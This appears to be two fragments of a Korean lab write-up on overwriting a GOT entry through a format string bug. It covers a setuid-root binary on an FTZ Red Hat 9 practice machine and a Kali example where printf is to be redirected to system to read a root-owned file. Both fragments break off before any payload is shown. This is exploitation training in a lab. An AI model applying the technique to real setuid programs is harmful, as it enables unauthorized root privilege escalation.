FSB로 GOT OVERWRITE하기 실습환경 ->LOCAL FTZ( RED HAT9 ) ---------------------------------------------------------------- [guest@ftz sys]$ whoami guest -> 나의 게정은 guest이다. [guest@ftz sys]$ ll total 32 -rwsr-xr-x 1 root root 11675 Aug 6 08:10 fsb_got //root의 setuid가 걸려있음 -rw-r--r-- 1 root root 179 Aug 6 08:19 fsb_got.c [guest@ftz sys]$ cat fsb_got.c #include #include int main( int argc, char **argv ) { c..
printf_got.c #include int main( void ) { printf( "cat ~/system_hack_test/got_test.txt" ); return 0; } 이 코드를 통해 /root/system_hack_test/got_test.txt를 출력해야함. 여기서 printf가 system함수가 되면 출력할 수 있음. root@Kali:~/system_hack_test# pwd /root/system_hack_test root@Kali:~/system_hack_test# ls -l 합계 28 -rwxrwxrwx 1 root root 5204 9월 6 14:54 got_test -rw-r--r-- 1 root root 300 9월 6 14:54 got_test.c -rw-r--r-- 1..